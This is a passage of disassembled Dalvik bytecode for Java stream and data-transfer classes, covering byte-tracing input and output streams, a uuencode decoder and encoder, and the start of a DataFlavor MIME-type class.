00000076 invoke-virtual OutputStream->write(I)V, v0, v4
0000007C goto :54
:7E
0000007E const/16 v1, 0x9
00000082 if-ne v0, v1, :A0
:86
00000086 iget-object v0, p0, TraceInputStream->traceOut:OutputStream
0000008A invoke-virtual OutputStream->write(I)V, v0, v3
00000090 iget-object v0, p0, TraceInputStream->traceOut:OutputStream
00000094 const/16 v1, 0x74
00000098 invoke-virtual OutputStream->write(I)V, v0, v1
0000009E goto :54
:A0
000000A0 const/16 v1, 0x20
000000A4 if-ge v0, v1, :C6
:A8
000000A8 iget-object v1, p0, TraceInputStream->traceOut:OutputStream
000000AC const/16 v2, 0x5E
000000B0 invoke-virtual OutputStream->write(I)V, v1, v2
000000B6 iget-object v1, p0, TraceInputStream->traceOut:OutputStream
000000BA add-int/lit8 v0, v0, 0x40
000000BE invoke-virtual OutputStream->write(I)V, v1, v0
000000C4 goto :54
:C6
000000C6 iget-object v1, p0, TraceInputStream->traceOut:OutputStream
000000CA invoke-virtual OutputStream->write(I)V, v1, v0
000000D0 goto :54
.end method
.method public read()I
.registers 3
00000000 iget-object v0, p0, TraceInputStream->in:InputStream
00000004 invoke-virtual InputStream->read()I, v0
0000000A move-result v0
0000000C iget-boolean v1, p0, TraceInputStream->trace:Z
00000010 if-eqz v1, :28
:14
00000014 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000016 if-eq v0, v1, :28
:1A
0000001A iget-boolean v1, p0, TraceInputStream->quote:Z
0000001E if-eqz v1, :2A
:22
00000022 invoke-direct TraceInputStream->writeByte(I)V, p0, v0
:28
00000028 return v0
:2A
0000002A iget-object v1, p0, TraceInputStream->traceOut:OutputStream
0000002E invoke-virtual OutputStream->write(I)V, v1, v0
00000034 goto :28
.end method
.method public read([B, I, I)I
.registers 7
00000000 iget-object v0, p0, TraceInputStream->in:InputStream
00000004 invoke-virtual InputStream->read([B, I, I)I, v0, p1, p2, p3
0000000A move-result v1
0000000C iget-boolean v0, p0, TraceInputStream->trace:Z
00000010 if-eqz v0, :28
:14
00000014 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000016 if-eq v1, v0, :28
:1A
0000001A iget-boolean v0, p0, TraceInputStream->quote:Z
0000001E if-eqz v0, :3E
:22
00000022 const/4 v0, 0x0
:24
00000024 if-lt v0, v1, :2A
:28
00000028 return v1
:2A
0000002A add-int v2, p2, v0
0000002E aget-byte v2, p1, v2
00000032 invoke-direct TraceInputStream->writeByte(I)V, p0, v2
00000038 add-int/lit8 v0, v0, 0x1
0000003C goto :24
:3E
0000003E iget-object v0, p0, TraceInputStream->traceOut:OutputStream
00000042 invoke-virtual OutputStream->write([B, I, I)V, v0, p1, p2, v1
00000048 goto :28
.end method
.method public setQuote(Z)V
.registers 2
00000000 iput-boolean p1, p0, TraceInputStream->quote:Z
00000004 return-void
.end method
.method public setTrace(Z)V
.registers 2
00000000 iput-boolean p1, p0, TraceInputStream->trace:Z
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public TraceOutputStream
.super FilterOutputStream
.source ""
.field private quote:Z
.field private trace:Z
.field private traceOut:OutputStream
.method public constructor <init>(OutputStream, OutputStream)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008 iput-boolean v0, p0, TraceOutputStream->trace:Z
0000000C iput-boolean v0, p0, TraceOutputStream->quote:Z
00000010 iput-object p2, p0, TraceOutputStream->traceOut:OutputStream
00000014 return-void
.end method
.method private final writeByte(I)V
.registers 7
00000000 const/16 v4, 0xA
00000004 const/16 v3, 0x5C
00000008 and-int/lit16 v0, p1, 0xFF
0000000C const/16 v1, 0x7F
00000010 if-le v0, v1, :34
:14
00000014 iget-object v1, p0, TraceOutputStream->traceOut:OutputStream
00000018 const/16 v2, 0x4D
0000001C invoke-virtual OutputStream->write(I)V, v1, v2
00000022 iget-object v1, p0, TraceOutputStream->traceOut:OutputStream
00000026 const/16 v2, 0x2D
0000002A invoke-virtual OutputStream->write(I)V, v1, v2
00000030 and-int/lit8 v0, v0, 0x7F
:34
00000034 const/16 v1, 0xD
00000038 if-ne v0, v1, :56
:3C
0000003C iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
00000040 invoke-virtual OutputStream->write(I)V, v0, v3
00000046 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
0000004A const/16 v1, 0x72
0000004E invoke-virtual OutputStream->write(I)V, v0, v1
:54
00000054 return-void
:56
00000056 if-ne v0, v4, :7E
:5A
0000005A iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
0000005E invoke-virtual OutputStream->write(I)V, v0, v3
00000064 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
00000068 const/16 v1, 0x6E
0000006C invoke-virtual OutputStream->write(I)V, v0, v1
00000072 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
00000076 invoke-virtual OutputStream->write(I)V, v0, v4
0000007C goto :54
:7E
0000007E const/16 v1, 0x9
00000082 if-ne v0, v1, :A0
:86
00000086 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
0000008A invoke-virtual OutputStream->write(I)V, v0, v3
00000090 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
00000094 const/16 v1, 0x74
00000098 invoke-virtual OutputStream->write(I)V, v0, v1
0000009E goto :54
:A0
000000A0 const/16 v1, 0x20
000000A4 if-ge v0, v1, :C6
:A8
000000A8 iget-object v1, p0, TraceOutputStream->traceOut:OutputStream
000000AC const/16 v2, 0x5E
000000B0 invoke-virtual OutputStream->write(I)V, v1, v2
000000B6 iget-object v1, p0, TraceOutputStream->traceOut:OutputStream
000000BA add-int/lit8 v0, v0, 0x40
000000BE invoke-virtual OutputStream->write(I)V, v1, v0
000000C4 goto :54
:C6
000000C6 iget-object v1, p0, TraceOutputStream->traceOut:OutputStream
000000CA invoke-virtual OutputStream->write(I)V, v1, v0
000000D0 goto :54
.end method
.method public setQuote(Z)V
.registers 2
00000000 iput-boolean p1, p0, TraceOutputStream->quote:Z
00000004 return-void
.end method
.method public setTrace(Z)V
.registers 2
00000000 iput-boolean p1, p0, TraceOutputStream->trace:Z
00000004 return-void
.end method
.method public write(I)V
.registers 3
00000000 iget-boolean v0, p0, TraceOutputStream->trace:Z
00000004 if-eqz v0, :16
:8
00000008 iget-boolean v0, p0, TraceOutputStream->quote:Z
0000000C if-eqz v0, :22
:10
00000010 invoke-direct TraceOutputStream->writeByte(I)V, p0, p1
:16
00000016 iget-object v0, p0, TraceOutputStream->out:OutputStream
0000001A invoke-virtual OutputStream->write(I)V, v0, p1
00000020 return-void
:22
00000022 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
00000026 invoke-virtual OutputStream->write(I)V, v0, p1
0000002C goto :16
.end method
.method public write([B, I, I)V
.registers 6
00000000 iget-boolean v0, p0, TraceOutputStream->trace:Z
00000004 if-eqz v0, :16
:8
00000008 iget-boolean v0, p0, TraceOutputStream->quote:Z
0000000C if-eqz v0, :36
:10
00000010 const/4 v0, 0x0
:12
00000012 if-lt v0, p3, :22
:16
00000016 iget-object v0, p0, TraceOutputStream->out:OutputStream
0000001A invoke-virtual OutputStream->write([B, I, I)V, v0, p1, p2, p3
00000020 return-void
:22
00000022 add-int v1, p2, v0
00000026 aget-byte v1, p1, v1
0000002A invoke-direct TraceOutputStream->writeByte(I)V, p0, v1
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :12
:36
00000036 iget-object v0, p0, TraceOutputStream->traceOut:OutputStream
0000003A invoke-virtual OutputStream->write([B, I, I)V, v0, p1, p2, p3
00000040 goto :16
.end method
#--------------------------------------------------------------------------------
.class public UUDecoderStream
.super FilterInputStream
.source ""
.field private buffer:[B
.field private bufsize:I
.field private gotEnd:Z
.field private gotPrefix:Z
.field private index:I
.field private lin:LineInputStream
.field private mode:I
.field private name:String
.method public constructor <init>(InputStream)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterInputStream-><init>(InputStream)V, p0, p1
00000008 iput v0, p0, UUDecoderStream->bufsize:I
0000000C iput v0, p0, UUDecoderStream->index:I
00000010 iput-boolean v0, p0, UUDecoderStream->gotPrefix:Z
00000014 iput-boolean v0, p0, UUDecoderStream->gotEnd:Z
00000018 new-instance v0, LineInputStream
0000001C invoke-direct LineInputStream-><init>(InputStream)V, v0, p1
00000022 iput-object v0, p0, UUDecoderStream->lin:LineInputStream
00000026 const/16 v0, 0x2D
0000002A new-array v0, v0, [B
0000002E iput-object v0, p0, UUDecoderStream->buffer:[B
00000032 return-void
.end method
.method private decode()Z
.registers 10
00000000 const/4 v5, 0x3
00000002 const/4 v1, 0x1
00000004 const/4 v2, 0x0
00000006 iget-boolean v0, p0, UUDecoderStream->gotEnd:Z
0000000A if-eqz v0, :10
:E
0000000E return v2
:10
00000010 iput v2, p0, UUDecoderStream->bufsize:I
:14
00000014 iget-object v0, p0, UUDecoderStream->lin:LineInputStream
00000018 invoke-virtual LineInputStream->readLine()String, v0
0000001E move-result-object v0
00000020 if-nez v0, :34
:24
00000024 new-instance v0, IOException
00000028 const-string v1, "Missing End"
0000002C invoke-direct IOException-><init>(String)V, v0, v1
00000032 throw v0
:34
00000034 const-string v3, "end"
00000038 move v4, v2
0000003A invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
00000040 move-result v3
00000042 if-eqz v3, :4C
:46
00000046 iput-boolean v1, p0, UUDecoderStream->gotEnd:Z
0000004A goto :E
:4C
0000004C invoke-virtual String->length()I, v0
00000052 move-result v3
00000054 if-eqz v3, :14
:58
00000058 invoke-virtual String->charAt(I)C, v0, v2
0000005E move-result v3
00000060 const/16 v4, 0x20
00000064 if-ge v3, v4, :78
:68
00000068 new-instance v0, IOException
0000006C const-string v1, "Buffer format error"
00000070 invoke-direct IOException-><init>(String)V, v0, v1
00000076 throw v0
:78
00000078 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFE0
0000007C and-int/lit8 v6, v3, 0x3F
00000080 if-nez v6, :BC
:84
00000084 iget-object v0, p0, UUDecoderStream->lin:LineInputStream
00000088 invoke-virtual LineInputStream->readLine()String, v0
0000008E move-result-object v0
00000090 if-eqz v0, :A6
:94
00000094 const-string v3, "end"
00000098 move v4, v2
0000009A invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
000000A0 move-result v0
000000A2 if-nez v0, :B6
:A6
000000A6 new-instance v0, IOException
000000AA const-string v1, "Missing End"
000000AE invoke-direct IOException-><init>(String)V, v0, v1
000000B4 throw v0
:B6
000000B6 iput-boolean v1, p0, UUDecoderStream->gotEnd:Z
000000BA goto :E
:BC
000000BC mul-int/lit8 v2, v6, 0x8
000000C0 add-int/lit8 v2, v2, 0x5
000000C4 div-int/lit8 v2, v2, 0x6
000000C8 invoke-virtual String->length()I, v0
000000CE move-result v3
000000D0 add-int/lit8 v2, v2, 0x1
000000D4 if-ge v3, v2, :E8
:D8
000000D8 new-instance v0, IOException
000000DC const-string v1, "Short buffer error"
000000E0 invoke-direct IOException-><init>(String)V, v0, v1
000000E6 throw v0
:E8
000000E8 move v2, v1
:EA
000000EA iget v3, p0, UUDecoderStream->bufsize:I
000000EE if-lt v3, v6, :F6
:F2
000000F2 move v2, v1
000000F4 goto :E
:F6
000000F6 add-int/lit8 v3, v2, 0x1
000000FA invoke-virtual String->charAt(I)C, v0, v2
00000100 move-result v2
00000102 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFE0
00000106 and-int/lit8 v2, v2, 0x3F
0000010A int-to-byte v4, v2
0000010C add-int/lit8 v2, v3, 0x1
00000110 invoke-virtual String->charAt(I)C, v0, v3
00000116 move-result v3
00000118 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFE0
0000011C and-int/lit8 v3, v3, 0x3F
00000120 int-to-byte v3, v3
00000122 iget-object v5, p0, UUDecoderStream->buffer:[B
00000126 iget v7, p0, UUDecoderStream->bufsize:I
0000012A add-int/lit8 v8, v7, 0x1
0000012E iput v8, p0, UUDecoderStream->bufsize:I
00000132 shl-int/lit8 v4, v4, 0x2
00000136 and-int/lit16 v4, v4, 0xFC
0000013A ushr-int/lit8 v8, v3, 0x4
0000013E and-int/lit8 v8, v8, 0x3
00000142 or-int/2addr v4, v8
00000144 int-to-byte v4, v4
00000146 aput-byte v4, v5, v7
0000014A iget v4, p0, UUDecoderStream->bufsize:I
0000014E if-ge v4, v6, :1DC
:152
00000152 add-int/lit8 v4, v2, 0x1
00000156 invoke-virtual String->charAt(I)C, v0, v2
0000015C move-result v2
0000015E add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFE0
00000162 and-int/lit8 v2, v2, 0x3F
00000166 int-to-byte v2, v2
00000168 iget-object v5, p0, UUDecoderStream->buffer:[B
0000016C iget v7, p0, UUDecoderStream->bufsize:I
00000170 add-int/lit8 v8, v7, 0x1
00000174 iput v8, p0, UUDecoderStream->bufsize:I
00000178 shl-int/lit8 v3, v3, 0x4
0000017C and-int/lit16 v3, v3, 0xF0
00000180 ushr-int/lit8 v8, v2, 0x2
00000184 and-int/lit8 v8, v8, 0xF
00000188 or-int/2addr v3, v8
0000018A int-to-byte v3, v3
0000018C aput-byte v3, v5, v7
00000190 move v3, v4
00000192 move v4, v2
:194
00000194 iget v2, p0, UUDecoderStream->bufsize:I
00000198 if-ge v2, v6, :1D8
:19C
0000019C add-int/lit8 v2, v3, 0x1
000001A0 invoke-virtual String->charAt(I)C, v0, v3
000001A6 move-result v3
000001A8 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFE0
000001AC and-int/lit8 v3, v3, 0x3F
000001B0 int-to-byte v3, v3
000001B2 iget-object v5, p0, UUDecoderStream->buffer:[B
000001B6 iget v7, p0, UUDecoderStream->bufsize:I
000001BA add-int/lit8 v8, v7, 0x1
000001BE iput v8, p0, UUDecoderStream->bufsize:I
000001C2 shl-int/lit8 v4, v4, 0x6
000001C6 and-int/lit16 v4, v4, 0xC0
000001CA and-int/lit8 v3, v3, 0x3F
000001CE or-int/2addr v3, v4
000001D0 int-to-byte v3, v3
000001D2 aput-byte v3, v5, v7
000001D6 goto :EA
:1D8
000001D8 move v2, v3
000001DA goto :EA
:1DC
000001DC move v4, v3
000001DE move v3, v2
000001E0 goto :194
.end method
.method private readPrefix()V
.registers 7
00000000 const/4 v1, 0x1
00000002 const/4 v2, 0x0
00000004 iget-boolean v0, p0, UUDecoderStream->gotPrefix:Z
00000008 if-eqz v0, :E
:C
0000000C return-void
:E
0000000E iget-object v0, p0, UUDecoderStream->lin:LineInputStream
00000012 invoke-virtual LineInputStream->readLine()String, v0
00000018 move-result-object v0
0000001A if-nez v0, :2E
:1E
0000001E new-instance v0, IOException
00000022 const-string v1, "UUDecoder error: No Begin"
00000026 invoke-direct IOException-><init>(String)V, v0, v1
0000002C throw v0
:2E
0000002E const-string v3, "begin"
00000032 const/4 v5, 0x5
00000034 move v4, v2
00000036 invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000003C move-result v3
0000003E if-eqz v3, :E
:42
00000042 const/4 v2, 0x6
00000044 const/16 v3, 0x9
:48
00000048 invoke-virtual String->substring(I, I)String, v0, v2, v3
0000004E move-result-object v2
00000050 invoke-static Integer->parseInt(String)I, v2
00000056 move-result v2
00000058 iput v2, p0, UUDecoderStream->mode:I
:5C
0000005C const/16 v2, 0xA
00000060 invoke-virtual String->substring(I)String, v0, v2
00000066 move-result-object v0
00000068 iput-object v0, p0, UUDecoderStream->name:String
0000006C iput-boolean v1, p0, UUDecoderStream->gotPrefix:Z
00000070 goto :C
:72
00000072 move-exception v0
00000074 new-instance v1, IOException
00000078 new-instance v2, StringBuilder
0000007C const-string v3, "UUDecoder error: "
00000080 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000086 invoke-virtual NumberFormatException->toString()String, v0
0000008C move-result-object v0
0000008E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000094 move-result-object v0
00000096 invoke-virtual StringBuilder->toString()String, v0
0000009C move-result-object v0
0000009E invoke-direct IOException-><init>(String)V, v1, v0
000000A4 throw v1
.catch NumberFormatException {:48 .. :5C} :72
.end method
.method public available()I
.registers 4
00000000 iget-object v0, p0, UUDecoderStream->in:InputStream
00000004 invoke-virtual InputStream->available()I, v0
0000000A move-result v0
0000000C mul-int/lit8 v0, v0, 0x3
00000010 div-int/lit8 v0, v0, 0x4
00000014 iget v1, p0, UUDecoderStream->bufsize:I
00000018 iget v2, p0, UUDecoderStream->index:I
0000001C sub-int/2addr v1, v2
0000001E add-int/2addr v0, v1
00000020 return v0
.end method
.method public getMode()I
.registers 2
00000000 invoke-direct UUDecoderStream->readPrefix()V, p0
00000006 iget v0, p0, UUDecoderStream->mode:I
0000000A return v0
.end method
.method public getName()String
.registers 2
00000000 invoke-direct UUDecoderStream->readPrefix()V, p0
00000006 iget-object v0, p0, UUDecoderStream->name:String
0000000A return-object v0
.end method
.method public markSupported()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public read()I
.registers 4
00000000 iget v0, p0, UUDecoderStream->index:I
00000004 iget v1, p0, UUDecoderStream->bufsize:I
00000008 if-lt v0, v1, :28
:C
0000000C invoke-direct UUDecoderStream->readPrefix()V, p0
00000012 invoke-direct UUDecoderStream->decode()Z, p0
00000018 move-result v0
0000001A if-nez v0, :22
:1E
0000001E const/4 v0, 0xFFFFFFFFFFFFFFFF
:20
00000020 return v0
:22
00000022 const/4 v0, 0x0
00000024 iput v0, p0, UUDecoderStream->index:I
:28
00000028 iget-object v0, p0, UUDecoderStream->buffer:[B
0000002C iget v1, p0, UUDecoderStream->index:I
00000030 add-int/lit8 v2, v1, 0x1
00000034 iput v2, p0, UUDecoderStream->index:I
00000038 aget-byte v0, v0, v1
0000003C and-int/lit16 v0, v0, 0xFF
00000040 goto :20
.end method
.method public read([B, I, I)I
.registers 8
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v1, 0x0
:4
00000004 if-lt v1, p3, :C
:8
00000008 move v0, v1
:A
0000000A return v0
:C
0000000C invoke-virtual UUDecoderStream->read()I, p0
00000012 move-result v2
00000014 if-ne v2, v0, :1E
:18
00000018 if-nez v1, :8
:1C
0000001C goto :A
:1E
0000001E add-int v3, p2, v1
00000022 int-to-byte v2, v2
00000024 aput-byte v2, p1, v3
00000028 add-int/lit8 v1, v1, 0x1
0000002C goto :4
.end method
#--------------------------------------------------------------------------------
.class public UUEncoderStream
.super FilterOutputStream
.source ""
.field private buffer:[B
.field private bufsize:I
.field protected mode:I
.field protected name:String
.field private wrotePrefix:Z
.method public constructor <init>(OutputStream)V
.registers 4
00000000 const-string v0, "encoder.buf"
00000004 const/16 v1, 0x284
00000008 invoke-direct UUEncoderStream-><init>(OutputStream, String, I)V, p0, p1, v0, v1
0000000E return-void
.end method
.method public constructor <init>(OutputStream, String)V
.registers 4
00000000 const/16 v0, 0x284
00000004 invoke-direct UUEncoderStream-><init>(OutputStream, String, I)V, p0, p1, p2, v0
0000000A return-void
.end method
.method public constructor <init>(OutputStream, String, I)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008 iput v0, p0, UUEncoderStream->bufsize:I
0000000C iput-boolean v0, p0, UUEncoderStream->wrotePrefix:Z
00000010 iput-object p2, p0, UUEncoderStream->name:String
00000014 iput p3, p0, UUEncoderStream->mode:I
00000018 const/16 v0, 0x2D
0000001C new-array v0, v0, [B
00000020 iput-object v0, p0, UUEncoderStream->buffer:[B
00000024 return-void
.end method
.method private encode()V
.registers 8
00000000 const/4 v3, 0x1
00000002 const/4 v0, 0x0
00000004 iget-object v1, p0, UUEncoderStream->out:OutputStream
00000008 iget v2, p0, UUEncoderStream->bufsize:I
0000000C and-int/lit8 v2, v2, 0x3F
00000010 add-int/lit8 v2, v2, 0x20
00000014 invoke-virtual OutputStream->write(I)V, v1, v2
:1A
0000001A iget v1, p0, UUEncoderStream->bufsize:I
0000001E if-lt v0, v1, :32
:22
00000022 iget-object v0, p0, UUEncoderStream->out:OutputStream
00000026 const/16 v1, 0xA
0000002A invoke-virtual OutputStream->write(I)V, v0, v1
00000030 return-void
:32
00000032 iget-object v1, p0, UUEncoderStream->buffer:[B
00000036 add-int/lit8 v2, v0, 0x1
0000003A aget-byte v4, v1, v0
0000003E iget v0, p0, UUEncoderStream->bufsize:I
00000042 if-ge v2, v0, :D6
:46
00000046 iget-object v0, p0, UUEncoderStream->buffer:[B
0000004A add-int/lit8 v1, v2, 0x1
0000004E aget-byte v2, v0, v2
00000052 iget v0, p0, UUEncoderStream->bufsize:I
00000056 if-ge v1, v0, :D0
:5A
0000005A iget-object v5, p0, UUEncoderStream->buffer:[B
0000005E add-int/lit8 v0, v1, 0x1
00000062 aget-byte v1, v5, v1
:66
00000066 ushr-int/lit8 v5, v4, 0x2
0000006A and-int/lit8 v5, v5, 0x3F
0000006E shl-int/lit8 v4, v4, 0x4
00000072 and-int/lit8 v4, v4, 0x30
00000076 ushr-int/lit8 v6, v2, 0x4
0000007A and-int/lit8 v6, v6, 0xF
0000007E or-int/2addr v4, v6
00000080 shl-int/lit8 v2, v2, 0x2
00000084 and-int/lit8 v2, v2, 0x3C
00000088 ushr-int/lit8 v6, v1, 0x6
0000008C and-int/lit8 v6, v6, 0x3
00000090 or-int/2addr v2, v6
00000092 and-int/lit8 v1, v1, 0x3F
00000096 iget-object v6, p0, UUEncoderStream->out:OutputStream
0000009A add-int/lit8 v5, v5, 0x20
0000009E invoke-virtual OutputStream->write(I)V, v6, v5
000000A4 iget-object v5, p0, UUEncoderStream->out:OutputStream
000000A8 add-int/lit8 v4, v4, 0x20
000000AC invoke-virtual OutputStream->write(I)V, v5, v4
000000B2 iget-object v4, p0, UUEncoderStream->out:OutputStream
000000B6 add-int/lit8 v2, v2, 0x20
000000BA invoke-virtual OutputStream->write(I)V, v4, v2
000000C0 iget-object v2, p0, UUEncoderStream->out:OutputStream
000000C4 add-int/lit8 v1, v1, 0x20
000000C8 invoke-virtual OutputStream->write(I)V, v2, v1
000000CE goto :1A
:D0
000000D0 move v0, v1
000000D2 move v1, v3
000000D4 goto :66
:D6
000000D6 move v0, v2
000000D8 move v1, v3
000000DA move v2, v3
000000DC goto :66
.end method
.method private writePrefix()V
.registers 4
00000000 iget-boolean v0, p0, UUEncoderStream->wrotePrefix:Z
00000004 if-nez v0, :62
:8
00000008 new-instance v0, PrintStream
0000000C iget-object v1, p0, UUEncoderStream->out:OutputStream
00000010 invoke-direct PrintStream-><init>(OutputStream)V, v0, v1
00000016 new-instance v1, StringBuilder
0000001A const-string v2, "begin "
0000001E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000024 iget v2, p0, UUEncoderStream->mode:I
00000028 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000002E move-result-object v1
00000030 const-string v2, " "
00000034 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000003A move-result-object v1
0000003C iget-object v2, p0, UUEncoderStream->name:String
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000046 move-result-object v1
00000048 invoke-virtual StringBuilder->toString()String, v1
0000004E move-result-object v1
00000050 invoke-virtual PrintStream->println(String)V, v0, v1
00000056 invoke-virtual PrintStream->flush()V, v0
0000005C const/4 v0, 0x1
0000005E iput-boolean v0, p0, UUEncoderStream->wrotePrefix:Z
:62
00000062 return-void
.end method
.method private writeSuffix()V
.registers 3
00000000 new-instance v0, PrintStream
00000004 iget-object v1, p0, UUEncoderStream->out:OutputStream
00000008 invoke-direct PrintStream-><init>(OutputStream)V, v0, v1
0000000E const-string v1, " \nend"
00000012 invoke-virtual PrintStream->println(String)V, v0, v1
00000018 invoke-virtual PrintStream->flush()V, v0
0000001E return-void
.end method
.method public close()V
.registers 2
00000000 invoke-virtual UUEncoderStream->flush()V, p0
00000006 iget-object v0, p0, UUEncoderStream->out:OutputStream
0000000A invoke-virtual OutputStream->close()V, v0
00000010 return-void
.end method
.method public flush()V
.registers 2
00000000 iget v0, p0, UUEncoderStream->bufsize:I
00000004 if-lez v0, :14
:8
00000008 invoke-direct UUEncoderStream->writePrefix()V, p0
0000000E invoke-direct UUEncoderStream->encode()V, p0
:14
00000014 invoke-direct UUEncoderStream->writeSuffix()V, p0
0000001A iget-object v0, p0, UUEncoderStream->out:OutputStream
0000001E invoke-virtual OutputStream->flush()V, v0
00000024 return-void
.end method
.method public setNameMode(String, I)V
.registers 3
00000000 iput-object p1, p0, UUEncoderStream->name:String
00000004 iput p2, p0, UUEncoderStream->mode:I
00000008 return-void
.end method
.method public write(I)V
.registers 5
00000000 iget-object v0, p0, UUEncoderStream->buffer:[B
00000004 iget v1, p0, UUEncoderStream->bufsize:I
00000008 add-int/lit8 v2, v1, 0x1
0000000C iput v2, p0, UUEncoderStream->bufsize:I
00000010 int-to-byte v2, p1
00000012 aput-byte v2, v0, v1
00000016 iget v0, p0, UUEncoderStream->bufsize:I
0000001A const/16 v1, 0x2D
0000001E if-ne v0, v1, :34
:22
00000022 invoke-direct UUEncoderStream->writePrefix()V, p0
00000028 invoke-direct UUEncoderStream->encode()V, p0
0000002E const/4 v0, 0x0
00000030 iput v0, p0, UUEncoderStream->bufsize:I
:34
00000034 return-void
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual UUEncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public write([B, I, I)V
.registers 6
00000000 const/4 v0, 0x0
:2
00000002 if-lt v0, p3, :8
:6
00000006 return-void
:8
00000008 add-int v1, p2, v0
0000000C aget-byte v1, p1, v1
00000010 invoke-virtual UUEncoderStream->write(I)V, p0, v1
00000016 add-int/lit8 v0, v0, 0x1
0000001A goto :2
.end method
#--------------------------------------------------------------------------------
.class public DataFlavor
.super Object
.source ""
.implements Externalizable
.implements Cloneable
.field public static final javaFileListFlavor:DataFlavor = null
.field public static final javaJVMLocalObjectMimeType:String = "application/x-java-jvm-local-objectref"
.field public static final javaRemoteObjectMimeType:String = "application/x-java-remote-object"
.field public static final javaSerializedObjectMimeType:String = "application/x-java-serialized-object"
.field public static final plainTextFlavor:DataFlavor = null
.annotation runtime Deprecated
.end annotation
.end field
.field private static plainUnicodeFlavor:DataFlavor = null
.field private static final serialVersionUID:J = 0x741DA5DB78A37333L
.field private static final sortedTextFlavors:[String
.field public static final stringFlavor:DataFlavor
.field private humanPresentableName:String
.field private mimeInfo:MimeTypeProcessor$MimeType
.field private representationClass:Class
.method static constructor <clinit>()V
.registers 3
00000000 new-instance v0, DataFlavor
00000004 const-string v1, "text/plain; charset=unicode; class=java.io.InputStream"
00000008 const-string v2, "Plain Text"
0000000C invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
00000012 sput-object v0, DataFlavor->plainTextFlavor:DataFlavor
00000016 new-instance v0, DataFlavor
0000001A const-string v1, "application/x-java-serialized-object; class=java.lang.String"
0000001E const-string v2, "Unicode String"
00000022 invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
00000028 sput-object v0, DataFlavor->stringFlavor:DataFlavor
0000002C new-instance v0, DataFlavor
00000030 const-string v1, "application/x-java-file-list; class=java.util.List"
00000034 const-string v2, "application/x-java-file-list"
00000038 invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
0000003E sput-object v0, DataFlavor->javaFileListFlavor:DataFlavor
00000042 const/16 v0, 0x10
00000046 new-array v0, v0, [String
0000004A const/4 v1, 0x0
0000004C const-string v2, "text/sgml"
00000050 aput-object v2, v0, v1
00000054 const/4 v1, 0x1
00000056 const-string v2, "text/xml"
0000005A aput-object v2, v0, v1
0000005E const/4 v1, 0x2
00000060 const-string v2, "text/html"
00000064 aput-object v2, v0, v1
00000068 const/4 v1, 0x3
0000006A const-string v2, "text/rtf"
0000006E aput-object v2, v0, v1
00000072 const/4 v1, 0x4
00000074 const-string v2, "text/enriched"
00000078 aput-object v2, v0, v1
0000007C const/4 v1, 0x5
0000007E const-string v2, "text/richtext"
00000082 aput-object v2, v0, v1
00000086 const/4 v1, 0x6
00000088 const-string v2, "text/uri-list"
0000008C aput-object v2, v0, v1
00000090 const/4 v1, 0x7
00000092 const-string v2, "text/tab-separated-values"
00000096 aput-object v2, v0, v1
0000009A const/16 v1, 0x8
0000009E const-string v2, "text/t140"
000000A2 aput-object v2, v0, v1
000000A6 const/16 v1, 0x9
000000AA const-string v2, "text/rfc822-headers"
000000AE aput-object v2, v0, v1
000000B2 const/16 v1, 0xA
000000B6 const-string v2, "text/parityfec"
000000BA aput-object v2, v0, v1
000000BE const/16 v1, 0xB
000000C2 const-string v2, "text/directory"
000000C6 aput-object v2, v0, v1
000000CA const/16 v1, 0xC
000000CE const-string v2, "text/css"
000000D2 aput-object v2, v0, v1
000000D6 const/16 v1, 0xD
000000DA const-string v2, "text/calendar"
000000DE aput-object v2, v0, v1
000000E2 const/16 v1, 0xE
000000E6 const-string v2, "application/x-java-serialized-object"
000000EA aput-object v2, v0, v1
000000EE const/16 v1, 0xF
000000F2 const-string v2, "text/plain"
000000F6 aput-object v2, v0, v1
000000FA sput-object v0, DataFlavor->sortedTextFlavors:[String
000000FE const/4 v0, 0x0
00000100 sput-object v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000104 return-void
.end method
.method public constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C iput-object v0, p0, DataFlavor->humanPresentableName:String
00000010 iput-object v0, p0, DataFlavor->representationClass:Class
00000014 return-void
.end method
.method public constructor <init>(Class, String)V
.registers 6
